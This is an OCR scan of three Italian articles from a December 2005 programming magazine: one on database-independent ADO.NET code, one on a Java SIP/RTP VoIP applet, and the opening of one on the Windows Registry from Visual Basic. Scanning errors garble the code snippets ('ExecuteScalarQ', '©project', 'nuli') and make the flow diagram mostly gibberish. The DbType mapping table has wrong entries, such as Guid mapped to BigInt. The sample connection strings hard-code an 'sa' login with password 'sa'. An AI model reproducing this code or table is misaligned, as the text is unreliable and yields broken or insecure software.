terfacce: 

public interface IDbDataAdapter : IDataAdapter 

{ 

IDbCommand DeleteCommand { get; set; } 
IDbCommand InsertCommand { get; set; } 
IDbCommand SelectCommand { get; set; } 
IDbCommand UpdateCommand { get; set; } 

2 

public interface IDbCommand : IDisposable 

{ 

void Cancel(); 

IDbDataParameter CreateParameter(); 

int ExecuteNonQuery(); 

IDataReader ExecuteReader(); 

IData Reader ExecuteReader(CommandBehavior 

behavior); 
object ExecuteScalarQ; 
void PrepareQ; 

string CommandText { get; set; } 
int CommandTimeout { get; set; } 
CommandType CommandType { get; set; } 
IDbConnection Connection { get; set; } 
IDataParameterCollection Parameters { get; } 
IDbTransaction Transaction { get; set; } 
UpdateRowSource UpdatedRowSource { get; set; } 

2 

public interface IDbDataParameter : IDataParameter 



{ 


byte Precision { get; set; } 


byte Scale { get; set; } 


int Size { get; set; } 


} 


public interface IDbTransaction : IDisposable 


{ 


void Commit(); 


void Rollback(); 


IDbConnection Connection { get; } 


IsolationLevel IsolationLevel { get; } 


} 




Adesso abbiamo tutto ciò che serve per scrivere 
codice veramente indipendente dal database. 
Solo una piccola nota a margine: Microsoft ha 
inesplicabilmente deciso di non utilizzare lo 
stesso approccio per l'oggetto CommandBuilder, 
che esiste praticamente in tutti i Managed Pro- 
vider, ma che non prevede un contratto comune 
basato su interfaccia. 



UHI CODICE UMICO 

Proviamo a riscrivere il codice di esempio per 
renderlo quanto più polimorfico possibile. Pur- 
troppo dovremo comunque includere un riferi- 



MAPPATURA DEI TIPI PER GLI SPECIFICI 
DATA PROVIDER 



Quando si passa da un database al- 
l'altro, la prima difficoltà che si in- 
contra è sicuramente la mappatura 
dei tipi. E non riguarda soltanto tipi 
particolari, ma anche quelli di base: 
alzino la mano, infatti, quelli che san- 



no definire un campo di tipo stringa 
su almeno tre database diversi senza 
guardare il manuale! Ecco una breve 
tabella di mappatura dei tipi che 
include SQL Server ed Oracle rispetto 
ai tipi DbType generici: 



DbType 


SQL Server provider 


Oracle Provider 


DbType.AnsiString 


SqlDbType.VarChar 


OracleType.VarChar 


DbType.AnsiStringFixedLength 


SqlDbType.Char 


OracleType.Char 


DbType. Bina ry 


SqlDbType.VarBinary 


OracleType.Raw 


DbType. Boolean 


SqlDbType.Bit 


OracleType.Number 


DbType.Byte 


SqlDbType.Int 


OracleType.Byte 


DbType. Currency 


SqlDbType. Money 


OracleType.Number 


DbType.Date 


SqlDbType. DateTime 


OracleType. DateTime 


DbType. DateTime 


SqlDbType. DateTime 


OracleType. DateTime 


DbType. Decimai 


SqlDbType. Deci mal 


OracleType.Number 


DbType. Doublé 


SqlDbType.Real 


OracleType. Doublé 


DbType. Guid 


SqlDbType.Biglnt 




DbType.lnt16 


SqlDbType.SmallInt 


OracleType.lnt16 


DbType.lnt32 


SqlDbType.Int 


OracleType. Int32 


DbType.lnt64 


SqlDbType.Biglnt 


OracleType. Int32 


DbType. Object 


SqlDbType. Binary 




DbType.SByte 


SqlDbType.SmallInt 


OracleType. SByte 


DbType. Single 


SqlDbType.Float 


OracleType. Float 


DbType. String 


SqlDbType.VarChar 


OracleType. NVarChar 


DbType. StringFixedLength 


SqlDbType.Char 


OracleType. NChar 


DbType.Time 


SqlDbType. DateTime 


OracleType. DateTime 


DbType.Ulnt16 


SqlDbType.SmallInt 


OracleType.Ulnt16 


DbType.Ulnt32 


SqlDbType.Int 


OracleType.Ulnt32 


DbType.Ulnt64 


SqlDbType.Biglnt 




DbType. VarNumeric 


SqlDbType. Decimai 


OracleType.Number 



http://www.ioprogrammo.it 



Dicembre 2005/ 65 ► 



DATABASE T 



Scrivere codice indipendente dal provider 




mento a tutti i data provider che intendiamo ge- 
stire nel codice. Cominciamo col definire tutti gli 
oggetti che ci servono: 



IDbConnection connection; 



IDbDataAdapter adapter; 



IDbCommand command; 



IDbCommand insertCommand; 



IDbCommand updateCommand; 



IDbCommand deleteCommand; 



IDbDataParameter parameterProject; 
IDbDataParameter parameterProjectName; 

Si noti come i tipi utilizzati siano esclusivamente 
quelli definiti nelle interfacce generiche. Il bloc- 
co di codice che segue è forse il più interessante. 
Supponiamo di aver definito una direttiva per il 
preprocessore per indicare la natura del databa- 
se sottostante: 

#define SQLSERVER 

Oppure: 

#define ORACLE 

Ed ecco il codice di istanziazione degli oggetti 
specifici del data provider: 

#if (SQLSERVER) 

connection = new SqlConnection("Password=sa; 

Persist Security Info=True;User ID=sa; Initial 
Catalog = DatabaseManager;Data Source= (locai)"); 
adapter = new SqlDataAdapterQ; 



command = new SqlCommand("select 



from 
project"); 



insertCommand = new SqlCommand("insert into 



project (project, projectname) values 
(©project, @name)"); 
updateCommand = new SqlCommand("update 

project set projectname = @name where 
project = ©project"); 
deleteCommand = new SqlCommand("delete from 

project where project = ©project"); 
parameterProject = new SqlParameter(); 
parameterProjectName = new SqlParameter(); 
#elif (ORACLE) 
connection = new OracleConnection( 

"Password=sa;User ID=VEX_DBMANAGER;Data 
Source=oravex; Persist Security Info=True"); 
adapter = new OracleDataAdapter(); 
command = new OracleCommand("select * from 

project", connection); 
insertCommand = new OracleCommand("insert 

into project (project, projectname) values 

(iproject, :name)", connection); 

updateCommand = new OracleCommand("update 

project set projectname = marne where project = 

iproject", connection); 

deleteCommand = new OracleCommand("delete 

from project where project = iproject", 
connection); 
parameterProject = new OracleParameter(); 
parameterProjectName = new OracleParameter(); 
#endif 

Il blocco è racchiuso in una #ifdef, cioè una diret- 
tiva condizionale al preprocessore: in presenza 
della direttiva SQLSERVER esegue tutto il codice 
specifico per questo provider e dunque provvede 
ad istanziare una SqlConnection con relativa con- 
nectionstring, un SqlDataAdapter, i quattro com- 
mand con i relativi statement sql scritti nel dia- 
letto specifico del database da supportare (in 





SCRITTURA DI CODICE DATABASE INDEPENDENT 

Sei rapidi passi per realizzare il progetto 

> AGGIUNTA DEGLI > DICHIARAZIONI > ISTANZIAZIONE 
ASSEMBLY E DELLE USING INIZIALI ED INIZIALIZZAZIONE 






using System. Data; 




IDbConnection connection; 
IDbDataAdapter adapter; 
IDbCommand command; 
IDbDataParameter parameterProject; 
//ecc.. 




//esempio di codice per SQL Server 
connection = new SqlConnection( 

"Password=sa;Persist Security Info=True; 
User ID=sa;Initial Catalog = 

DatabaseManager;Data Source= (locai)"); 
adapter = new SqlDataAdapter(); 
command = new SqlCommand("select * 

from project where project = ©project"); 
parameterProject = new SqlParameter(); 




using System. Data. SqlClient; 
using System. Data. OracleClient; 




using Oracle. DataAccess. Client; 
using FirebirdSql.Data.Firebird; 






WW Dopo aver creato un progetto del tipo 
MM desiderato, aggiungere i riferiment 
agli assembly diADO.NET (System.Data.Dllj 
e ai managed provider 




FI Dichiarazione di tutti gli oggetti che 
U serviranno nella scrittura del codice d 
accesso ai dati, ma facendo riferimento alle in- 
terfacce generiche e non ai tipi specializzati 




^^ A questo punto dobbiamo procedere 
Ucon la scrittura di codice specifico per 
database. Un modo è utilizzare le direttive 
al preprocessore 





»> 66 /Dicembre 2005 



http://www.ioprogrammo.it 



Scrivere codice indipendente dal provider I Y DATABASE 



questo caso in T-SQL) e i due parametri. Il blocco 
ORACLE è specularmente identico, ma legato 
agli specifici oggetti del managed provider Ora- 
cle. Infine osserviamo il terzo blocco che torna 
ad essere completamente generico ed inconsa- 
pevole del database sottostante: 

parameterProject.ParameterName = "project"; 
parameterProject.Size = 4; 
parameterProject.DbType = DbType.Int32; 
parameterProject.SourceColumn = "project"; 
parameterProjectName.ParameterName = "name"; 
parameterProjectName.Size = 255; 
parameterProjectName.DbType = DbType.String; 
parameterProjectName.SourceColumn = "projectname"; 
command. Connection = connection; 
insertCommand. Connection = connection; 
updateCommand. Connection = connection; 
deleteCommand. Connection = connection; 
adapter.SelectCommand = command; 
DataSet ds = new DataSet(); 
adapter.Fill(ds); 
DataTable dt = ds.Tables[0]; 

insertCommand. Parameters.Add(parameterProject); 
insertCommand. Parameters.Add(parameterProjectName); 
//codice omesso: aggiunta dei parametri dei 
//command di update e di delete 
adapter.InsertCommand = insertCommand; 
adapter.UpdateCommand = updateCommand; 
adapter.DeleteCommand = deleteCommand; 
adapter.Update(ds); 

Anche questo blocco presenta una interessante 
caratteristica: i tipi di parametri specificati nei 
due IDbDataParameter sono del generico tipo 
enumerativo System. Data.DbType anziché spe- 
cifici per tipo di provider sottostante e cioè 
SqlType e OracleType come osservato in prece- 
denza. 
Questo significa che poi saranno convertiti in- 



ternamente dai rispettivi data provider al mo- 
mento dell'esecuzione. 



CONCLUSIONI 

Dopo una breve escursione nell'architettura ge- 
nerale di ADO.NET abbiamo discusso il problema 
di dover scrivere codice specifico per tipo di data- 
base se si intende sfruttare in modo efficiente le 
peculiarità del database sottostante. Abbiamo 
mostrato come esista una sorta di linea comune 
che unisce tutti i Managed Provider costituita dal- 
l' obbligo di dover implementare le interfacce di 
base previste dal framework e da qui siamo parti- 
ti illustrando come scrivere codice database inde- 
pendent che si basi comunque sui managed pro- 
vider specifici senza però dover essere fortemente 
accoppiato con esso a livello di codifica. Purtrop- 
po la soluzione esposta, basata sulle direttive al 
preprocessore o comunque sulla separazione tra 
le definizioni degli oggetti (generica perché basa- 
ta sulle interfacce) e la loro istanziazione ed ini- 
zializzazione (specifica per managed provider) 
non è del tutto sufficiente a realizzare codice com- 
pletamente agnostico perché ci costringe comun- 
que a mantenere un riferimento a tutti i managed 
provider nella nostra applicazione, a realizzare 
compilazioni differenti o codice con numerose if, 
a prevedere sin da subito quali e quanti database 
supportare e a dover conoscere e scrivere codice 
nel dialetto SQL specifico di tutti i database sup- 
portati direttamente all'interno del codice di chia- 
mata. Nel prossimo numero vedremo come risol- 
vere tutti questi problemi realizzando un'architet- 
tura applicativa completa e modulare, davvero in- 
dipendente dal database specifico e già pronta ad 
una progettazione multi-tier e distribuita delle 
proprie applicazioni. 

Vito Vessia 




> SELEZIONARE 
IL DATA ADAPTER 



> VALORIZZAZIONE 
DEI PARAMETRI 



> PASSI FINALI ED 
ESECUZIONE DEL CODICE 



command. Connection = connection; 



adapter.SelectCommand = command; 



JA questo punto si procede con la con- 
figurazione del Data Adapter e dei suoi 
command. Il codice non è particolarmente com- 
plicato, non ci sonop accortezze da segnalare 



parameterProject.ParameterName 



"project" 



parameterProject.Size = 4; 



parameterProject.DbType = DbType.Int32; 
parameterProject.SourceColumn = 

"project"; 



command. Parameters.Add(parameterProject); 



Se lo statement SQL che si intende 
I chiamare prevede dei parametri, pro- 
cediamo alla loro valorizzazione. Il passag- 
gio dei parametri è intuitivo 



DataSet ds = new DataSet(); 



adapter.Fill(ds); 



DataTable dt = ds.Tables[0]; 



Ed eccoci finalmente alla chiamata che 
lei consente di riempiere la datable. Il no- 
stro lavoro è terminato e ciò che più conta 
è indipendente dal provider 



http://www.ioprogrammo.it 



Dicembre 2005/ 67 ► 



NETWORKING T ■ Voice Over IP 



Telefonare con 



il Voice Over IP 



parte 



Realizziamo un'applicazione pratica che ci consenta di mettere 
in comunicazione vocale due utenti utilizzando la connessione 
Internet e risparmiando sul costo della telefonata 




UCD 

jsip.tgz 



U 



WEB 



J 



n 




REQUISITI 



Conoscenze richieste 



Conoscenze nell'uso di 
Java 



. Java2 Standard Edition 



i ' ."I L=^j L^ijj 



Tempo di realizzazione 



I 



'lVoIP, Voice over Internet Protocol, costi- 
tuisce una delle novità che maggiormente 

.movimentano il mercato dell'informatica 
in questo periodo. Il concetto di base è quel- 
lo di poter utilizzare la rete internet come 
mezzo di trasmissione della voce. Questo ti- 
po di applicazione si pone come sostituto a 
basso costo del tradizionale telefono e certa- 
mente a lungo termine è destinata a sostitui- 
re la telefonia tradizionale. In un precedente 
articolo di ioProgrammo avevamo illustrato 
l'intera teoria che fa da supporto al Voice 
Over IP, individuando alcune delle compo- 
nenti essenziali per la realizzazione di un'ap- 
plicazione di trasmissione della voce. In par- 
ticolare: 

• Il protocollo SIP, ovvero un sistema basa- 
to sullo scambio di stringhe di testo fra 
chiamante e ricevente. Il protocollo SIP 
stabilisce sia le regole per l'individuazio- 
ne degli utenti sia le regole per consentire 
a due applicazioni di telefonia di iniziare 
una conversazione. 

• Il protocolli RTP utilizzato per la trasmis- 
sione dei pacchetti vocali. 

Per l'implementazione del protocollo SIP c'e- 
ravamo basati su un'API java chiamata Jain- 
SIP, mentre per l'implementazione del proto- 
collo RTP ci eravamo appoggiati al tradizio- 
nale/Mi? In questo articolo ci occuperemo di 
realizzare un'applicazione pratica che utiliz- 
zi le informazioni fin qui raccolte per dare 
corpo al concetto di Voice Over IP 



IL TELEFONO 

L'applicazione che analizzeremo emula un 
telefono classico. Si tratterà di un'applet Java 



che stabilisce connessioni con altri utenti e 
scambia flussi di pacchetti voce. Il package 
principale sarà denominato, applet.phone. 
Un livello al di sotto della gerarchia principa- 
le ci saranno due directory, uà e media che 
costituiranno il nucleo dell'applicazione. 
All'interno di uà, User Agent, troveremo le 
classi per la gestione del telefono, e in media 
quelle per il flusso dei pacchetti voce. Per sta- 
bilire una connessione con un utente, l'ap- 
plicazione userà il protocollo SIP Session Ini- 
tiation Protocol. La classe principale sarà 
MessengerManager che ha lo scopo di regola- 
re tutte le chiamate ed il loro stato. Entrando 
nei dettagli del costruttore della classe, si 
può notare che viene invocato il gestore delle 
chiamate, inizializzata la lista dei contatti, e 
impostato l'indirizzo SIP URI dell'utente. Il 
Gestore delle chiamate: CallManager, che si 
trova nel package applet.phone. cali, ha il 
compito di regolare i vari tipi di chiamata. 
Infatti, in questo caso, si tratta di una chia- 
mata audio, ma è possibile anche semplice- 
mente avviare una chat testuale. 
Se si vuole ampliare lo sviluppo anche alla vi- 
deo-chiamata, si dovranno aggiungere nel 
CallManager la gestione e l'oggetto specifico. 

//classe MessangerManager 
public MessengerManager( 

Configuration configuration, 

NISTMessengerGUI appletHandle) { 

MediaManager.detectSupportedCodecs(); 



contactList = new Vector(); 



CallManager = new CallManager(); 



//Create a new ìnstance of the sip Listener 



messageListener 



new MessageListener(this, configuration, 

appletHandle); 



messageListener.start(); 



»> 68 /Dicembre 2005 



http://www.ioprogrammo.it 



Voice Over IP ■ T NETWORKING 



String userURI = 

messageListener.getConfiguration().userURI; 

try { 

//Create the SIP URI for the user URI 
String user = userURI.substring(0, 

userURI.indexOf("@")); 
String host = 
userURI.substring(userURI.indexOf( 

"@") + 1, userURI.Iength()); 



userSipURI 



MessageListener.addressFactory 

.createSipURI(user, host); 



} catch (ParseException ex) { 



System. out.println(userURI + " is not a 

legai SIP uri! " + ex); 



} 



Da sottolineare anche la creazione del Messa- 
geListener che invia e si pone in ascolto dei 
messaggi SIP. Come tutti i protocolli che si ba- 
sano sui messaggi sincroni tra utenti, anche 
SIP si basa sull'invio di richieste e risposte. 
Un esempio di questi messaggi avviene quan- 
do un utente, diciamo Alice, manda un mes- 
saggio, INVITE, al secondo utente, Bob al qua- 
le inizia a squillare il telefono. Appena Bob 
decide di rispondere manderà un OK ad Alice 
che risponderà a sua volta con un ACK. 
A questo punto può iniziare la sessione voce 
vera e propria. 

A livello di codice questa sequenza si traduce 
in una serie di chiamate per creare e ricevere i 
messaggi SIP e poi il controllo passa al gesto- 
re degli eventi multimediali. 



MESSAGGI SIP 

La prima parte da considerare è quindi l'invio 
dei messaggi SIP tra gli utenti. Per mandare la 
richiesta di INVITE utilizzeremo il metodo 
Sendlnvite che prende in ingresso le informa- 
zioni sul destinatario della telefonata (calee- 
URI) e sul tipo di sessione multimediale da 
scambiare (sdpBody), ed esegue la creazione 
della richiesta impostando header e body del 
messaggio e gestendo la transazione con l'u- 
tente. 

//classe MessengerManager 

private void sendInvite(String calleeURI, String 

sdpBody) { 

//creazione messaggio richiesta INVITE 
Request invite = createRequest(Request. INVITE, 

contactURI, userSipURI); 
//creazione header e body del messaggio 



acceptHeader = MessageListener.h 
.createAcceptHeader( 


=aderFactory 
audio", "x-gsm"); 




//gestione transazione 


ClientTransaction 


inviteTransaction 


= nuli; 


inviteTransaction 


= messageListener.sipProvider 
.getNewClientTransaction(invite); 




//invio richiesta 


inviteTransaction 


sendRequest(); 






} 



L'oggetto ClientTransaction appartiene alle 
API standard contenute nella libreria Jain-Sip. 
Da questo punto in poi si occuperanno loro di 
gestire la richiesta. Riprendendo l'esempio, 
quando Bob riceve la chiamata e vuole ri- 
spondere, devono essere invocati i metodi 
per la gestione della sessione multimediale. 
Il principale è processInviteOK che è contenu- 
to nella classe MessageProcessor e viene invo- 
cato dal MessageListener. 



//classe MessageProcessor 



public void processInviteOK( 

ClientTransaction ClientTransaction, 
Response inviteOK) 



{ 



CallManager callManager = 

messageListener.sipMeeting Manager 
.getCallManager(); 



//Ricerca della chiamata Audio 



AudioCall cali = callManager.findAudioCall(callee); 



//Invio ACK 



try { 



Request ack = (Request) ClientTransaction 

.getDialog().createRequest(Request.ACK); 
ClientTransaction. getDialog().sendAck(ack); 
if (type.equals("application") && 

subType.equals("sdp")) 



{ 



//Inizio sessione multimediale 



MediaManager mediaManager = 

call.getMediaManager(); 



call.setVoiceMesaging(false); 



media Manager. prepareMediaSession( 

new String( inviteOK. getRawContent())); 
media Manager.startMediaSession(true); 



} 



//gestione degli stati della chiamata 

call.setStatus(AudioCall.IN_A_CALL); 

messageListener.sipMeetingManager 

.notifyObserversNewCallStatus(call); 





I TUOI APPUNTI 



http://www.ioprogrammo.it 



Dicembre 2005/ 69 ► 



NETWORKING T ■ Voice Over IP 




Come per la gestione dei messaggi esiste il 
metodo MessageManager, così esistono i ge- 
stori per le chiamate: CallManager, e per la 
sessione multimediale: MediaManager. L'in- 
terfaccia Cali contiene gli elementi che devo- 
no essere implementati nella classe, proprio 
come fa l'oggetto AudioCall. In altri messaggi 
del protocollo, un ruolo di spicco assume an- 
che il body Sdp che serve per far capire agli 
utenti le informazioni multimediali da scam- 
biare, come il tipo di codifica supportata e su 
quale porta viaggerà la voce. 
Dopo aver permesso agli utenti di scambiarsi 
informazioni sulla modalità con la quale 
scambiarsi i pacchetti voce, Alice e Bob posso- 
no finalmente iniziare la conversazione. 



STREAM VOCE 

Per poter avviare uno stream con i pacchetti 
voce sono stati scelti i protocolli RTP, Real-Ti- 
me Transport Protocol e RTCP, Real-Time 
Transport Control Protocol che, insieme, rie- 
scono a gestire contenuti multimediali impo- 
stando velocità di trasmissione e qualità del 




Mcssage 



MediaMa nager .tìeleetS upp 
DTtetìCodecs; 
Controllare quali codecs 
joroflisporeointraie 
periferiche audio del pc 



cndadlit- new Veder, 

callMaiaEfl- - nw 

InizialiEEanonc E onlalii * 
gestore ddte chiamate 



messagetislener start; 
Ascolta CTcnluaU messaggi in 

arnw 



usaSipUR] = 

MeHagdjstffler.atidrsssFacto I 
ry.createSipURI; 
Creazione Sip Uri per l'utente I 



apProvitì'er.atìdSipLjslener 
rnessageProcessor = new 
Messageprocessor 
Creare un Ustener e uri 
prKessore che ascolta e 
gestisce eventuali 
li in arrivo 



i 



Requ est flette - 
crea*R«|iMSt(Re(iuest INVTT 

inwileTransaction seadResiiKsl., 
Cremile e invia 
Invite per inizare la 




rocessor precessi I 
aviteOK 

Processa messaggio di ÀCE t~ 
per inmare fe CDfirasrsaziwie I 



Messiggi 



Messa gf 
Processor 



r 

r 

CallManager caflMariager- 
mes HgeLi si si er. sipMecti 
ngManager getCaQManagie 
:, Prendere il gestore Me 
chiamate 



Requesl acto - (Request) 

clienlTransiction gelDiio 
gQ. creattRequ«l(ReqiiesJ 

clientTranractiorL getìDialD 
BQ.soidAel<acJ:)i 

Preparatone e invia 
messaggio diACKper 
iniziare la t onwei ozi one 



mecbaManager. startMedia 
SessionOrue). 
Avvio ddla sessione 
mullimediaie con. gestione 
70CC 



y 



Media Manager I 



ELaj-lP.ee Hvìngf)-, 
Awio rie ezicne voce 



starlT ransmiitingfj; 
Amiotfasmisjioiitvoee I 



-^ Recava- 



f 

DataSouree 

audìoDS-iiull, 

audioDS- 

javax media Mtjtagerx 

reateDataSaurce. 

CreaziKit DalaSffurce 

d] tipe audio 



TtBckContia] [] Iracki - 

procojtor gclTttetCcivtr 

et); 

'.' tltui i dell» tacce 

aw4io video 



sockelRTPTraiisrnil - 
new Socket; 
Creatane porta-Socktt 
per a protocollo RTP 



rtpMgrs(i].ereateSmdS 
trearr<dataOulpw, i); 
sendStream start; 
iiuzio trasmissione con 
Itosi «molo 




servizio. La chiamata che avvia questo pro- 
cesso è startMediaSession ed è gestita dal Me- 
diaManager. Le classi che realizzano il proto- 
collo sono in un package a parte applet.pho- 
ne. media e, volendo, possono essere sostitui- 
te da altre che sfruttino un protocollo diverso. 
L'oggetto MediaManager si occupa di gestire 
la sessione multimediale aprendo e chiuden- 
do gli oggetti receiver e transmitter che gesti- 
scono il flusso voce. La chiamata per avviare 
questi oggetti avviene con il metodo startMe- 
diaSession. 

//classe MediaManager 

public void startMediaSession(boolean transmitFirst) 

J 

if (! sta rted) 



{ 



startReceivingQ; 



startTransmittingO; 



} 



In questo modo si arriva a instanziare i vari 
oggetti, come Transmit, che serve per realiz- 
zare il protocollo RTP sfruttando JMF, Java 
Media Framework, l'infrastruttura che Java 
mette a disposizione per la gestione di dati 
multimediali. Transmit, a sua volta, usa ap- 
punto gli oggetti JMF come RTPManager, Me- 
diaLocator, SessionAddress e Socket per il flus- 
so relativo ai protocolli RTP e RTCP Per gestire 
il flusso voce serve a catturarla e poi trasmet- 
terla. Per il primo compito, la classe Trasmit 
usa il metodo createProcessor, per il secondo, 
usa createTrasmitter. Il metodo createProces- 
sor prende la sorgente dati che vogliamo uti- 
lizzare ed è già predisposto per audio, video, o 
entrambi. 

//classe Transmit 

private String createProcessorQ 

{ 

DataSource audioDS=null; 

DataSource videoDS=null; 

DataSource mergeDS=null; 

StateListener stateListener=new StateListener(); 

//creazione del DataSource 

if (audioLocator != nuli) 

{ 

//creazione DataSource tipo audio 
audioDS= javax. media. Manager 

.createDataSource(audioLocator); 

} 

if(videoDS! = null && audioDS! = null) 

{ 

try 



Fig. 1: il diagramma di flusso dell'applicazione 



.> 70 /Dicembre 2005 



http://www.ioprogrammo.it 



Voice Over IP ■ T NETWORKING 



//creazione merge audio-video 



mergeDS = javax. media. Manager 

.createMergingDataSource( 

new DataSource [] 

{audioDS, videoDS}); 



} 



catch (Exception e) 



{ 



System. out.println("Couldn't connect to 
audio or video capture device"); 



} 



//Configurazione del processor 



boolean result = stateListener.waitForState( 
processor, Processor.Configured); 



//Tracce del processor 



TrackControl [] tracks 



processor 
.getTrackControlsQ; 



//Impostazione dei parametri delle tracce 

conformi a RTP 
//output data source del processor 
dataOutput = processor.getDataOutputQ; 



Anche gli oggetti di tipo TrackControl fanno 
parte di JMF e sono gestiti dal framework. Il 
metodo createTransmitter si appoggia a RTP- 
Manager per creare sessioni per ogni traccia 
del processor e gestisce il flusso della voce a 
livello di Buffer. 

//classe Transmit 

private String createTransmitter(String localIpAddress) 

{ 

PushBufferDataSource pbds = 

(PushBufferDataSource)dataOutput; 
PushBufferStream pbss[] = pbds.getStreams(); 
rtpMgrs = new RTPManager[pbss.length]; 
SessionAddress localAddr, destAddr; 
InetAddress ipAddr; 
SendStream sendStream; 
SourceDescription srcDesList[]; 



for (int ì = 0; i < pbss.length; i++) 

{ 

try 



rtpMgrs[i] = RTPManager.newInstanceQ; 
//impostazione parametri 
//Connessione con host remoto per RTP 
while(lconnected) 

J 

socketRTPTransmit = new 

Socket(ipAddr,destPort); 
connected=true; 

_} 

//Connessione con host remoto per RTCP 
while(lconnected) 



socketRTCPTransmit = new Socket( 

ipAddr, rtcpDestPort); 
connected=true; 



} 



rtpMgrs[i].initialize(new TCPSendAdapter( 
socketRTPTransmit,socketRTCPTransmit)); 



} 



//Inizio trasmissione con host remoto 
sendStream = rtpMgrs[i].createSendStream( 
dataOutput, i); 



sendStream. sta rt(); 



} 



catch (Exception e) 



{ 



e.printStackTrace(); 



} 



Una volta aperti i Socket, avviene l'invio dei 
dati voce per mezzo dell'oggetto SendStream 
anch'esso appartenente a JMF. RTPManager 
gestisce i protocolli RTP e RTCP e, nel resto 
del codice, c'è anche la gestione di TCP o 
UDP a seconda delle caratteristiche del pro- 
tocollo di trasporto che si vogliono impostare. 
In modo del tutto analogo al trasmettitore 
lavora l'oggetto Receiver che si occupa di rice- 
vere lo stream voce. JMF viene incontro anche 
alla modalità di cattura delle sorgenti voce. 
Infatti, nella classe MediaManager, il metodo 
detectSupportedCodecs serve proprio ad otte- 
nere una lista di tutti i dispositivi audio e 
video disponibili con le loro caratteristiche. 



CONCLUSIONI 

Questa applicazione mette in luce tutti gli 
aspetti peculiari del VoIP e le possibili proble- 
matiche. Vi è infatti sia un telefono software 
inserito in una applet per poter superare pro- 
blemi di firewall, spesso presenti nelle reti o 
sui pc, sia un telefono stand-alone. 
Nel primo caso il telefono è stato collaudato 
usando Tomcat come contenitore jsp-servlet e 
impiegando jain-sip-proxy. Tra gli altri pro- 
getti sviluppati con Jain-Sip e JMF si può se- 
gnalare il Sip Comunicator che è stato testato 
con Microsoft Messenger e che, soprattutto, 
permette di effettuare le video-chiamate. 
E, volendo, ci sono librerie simili anche per i 
cellulari. Quindi, grazie al VoIP, si possono 
utilizzare molte tecnologie all'avanguardia e 
si entra a far parte di quel futuro tecnologico 
del quale si parla spesso su Internet e in tele- 
visione. 

Cristiano Bellucci 




VOIP IM ITALIA 

Fra i vari operatori 
Italiani di Voice Over Ip 
ci ha particolarmente 
colpito Eutelia, 
www.eutelia.it. che offre 
servizi di alta qualità a 
prezzi molto contenuti. 
Da un lato Eutelia offre 
il Voice Over IP 
tradizionale su normale 
telefono fisso, 
dall'altro ha appena 
lanciato un servizio 
base, utilizzabile via 
computer ma molto 
efficiente. 
Si tratta di Skypho - 
www.skvpho.net . che 
consente di avere un 
numero geografico su 
cui ricevere le telefona- 
te, e ovviamente con- 
sente di telefonare a 
mezzo computer a costi 
veramente 
convenienti. 



http://www.ioprogrammo.it 



Dicembre 2005/ 71 ► 



VISUAL BASIC T 



Le API e il Registro di Sistema 



VB mette le mani 
nel registro 

Vi spieghiamo come interagire con il Registro di Sistema 

e sviluppiamo un'applicazione che permette di personalizzare 

gli Screen Saver, Internet Explorer e altro ancora 




U CD LI WEB 



zip 



jn 




REQUISITI 



UMMitìMMt 



SII Conoscenze sulla 
• yi) gestione delle API 
e sul controllo SSTab 



Piattaforma Windows 
95 o superiore - Visual 
Basic 6 SP6 



^^^a^a_ 



Tempo di realizzazione 



(V\ (V\ (V) 



Il registro di sistema è un database in cui le appli- 
cazioni e il sistema operativo archiviano e ritro- 
vano i dati di configurazione e le informazioni a 
cui fanno spesso riferimento. In altre parole esso è il 
custode dei dati inerenti al funzionamento del siste- 
ma operativo e delle applicazioni installate sul com- 
puter. Il registro, dunque, è uno strumento im- 
portante ma "delicato" che bisogna manipolare pre- 
stando la massima attenzione, altrimenti si rischia 
di compromettere il funzionamento di qualche ap- 
plicazione o dell'intero sistema operativo. Bisogna 
aggiungere, però, che le versioni recenti di Windows, 
per limitare i danni dovuti alla modifica errata del 
registro, forniscono diversi strumenti per il backup e 
ripristino. Come descriveremo nel corso dell'arti- 
colo, Visual Basic permette di manipolare il registro 
secondo due modalità che potremmo definire mo- 
dalità Principianti e modalità Esperto. La prima, ba- 
sata sulle funzioni primitive del linguaggio, permet- 
te di manipolare soltanto le voci del registro appar- 
tenenti alla sottochiave "HKEY_CURRENT_USER 
\Software\VB and VBA Program Settings"; la secon- 
da, invece, basata sulle API non ha limitazioni, salvo, 
naturalmente, quelle impostate dall'amministratore 
di sistema. In questo appuntamento dopo aver de- 



scritto, sommariamente, le parti principali del regi- 
stro e la modalità principiante ci soffermeremo sulle 
API dette Registry Functions. Come esempi, per gli 
"Esperti", presenteremo un'applicazione che per- 
mette d'impostare gli Screen Saver ed alcune carat- 
teristiche di Internet Explorer e della barra delle 
applicazioni di Windows. Per i "Principianti" invece 
presenteremo le istruzioni che permettono di archi- 
viare, nel registro di sistema, la posizione e le dimen- 
sioni delle Form. 



IL REGISTRO DI SISTEMA 

Il registro di sistema è organizzato in una struttura 
ad albero dove ogni nodo è chiamato chiave (Key). 
Le chiavi principali del registro, per i vari sistemi 
operativi, sono riassunti nella Tabella 1. La radice 
del registro è nominata "Risorse del Computer". Fac- 
ciamo notare che alcuni nodi presentati in Tabella 1 
sono fittizi (cioè puntano ad altri pezzi di albero) e 
servono per portare in primo piano le caratteristiche 
di altri rami. 

Le Funzioni primitive di Visual Basic per interagire 
con il registro di sistema sono le seguenti: 



r 

Key 


Descrizione 


HKEY CLASSES ROOT 


Contiene informazioni sui componenti COM installati e sulle 
estensione dei file 


HKEY CURRENT USER 


Fornisce informazioni sull'utente correntemente "loggiato" (è un 
ramo di HKEY USERS) 


HKEY LOCAL MACHINE 


Contiene informazione sull'Hardware e il Software installati 
(compresi memoria, bus ...). 


HKEY USERS 


Contiene informazioni su tutti gli utenti registrati nel computer 
(configurazione di default del desktop, della rete ecc.) 


HKEY CURRENT CONFIG 


Contiene informazioni sull'hardware in uso sul computer (è un ramo 
di HKEY LOCAL MACHINE) 


HKEY DYN DATA 


Per Windows 95/98/Me: contiene informazioni sulle prestazioni del 
sistema, sul Plug and Play ecc. queste sono generate ad ogni riavvio. 


HKEY PERFORMANCE DATA Altre chiavi di minore importanza 

HKEY_PERFORMANCE_NLSTEXT 
HKEY_PERFORMANCE_TEXT 





► 72 /Dicembre 2005 



http://www.ioprogrammo.it 



Le API e il Registro di Sistema H ▼ VISUAL BASIC 



• SaveSetting appname, sectìon, key, setting: per- 
mette di salvare un valore nel registro. 

• GetSetting (appname, sectìon, key[, default]): 
legge un valore dal registro. 

• GetAllSettìngs (appName, sectìon): restituisce 
un elenco di valori. 

• DeleteSettìng appname, sectìon, key: cancella 
un valore. 

Dove Appname è il nome del progetto per il quale si 
sta salvando o leggendo il valore di una chiave. 
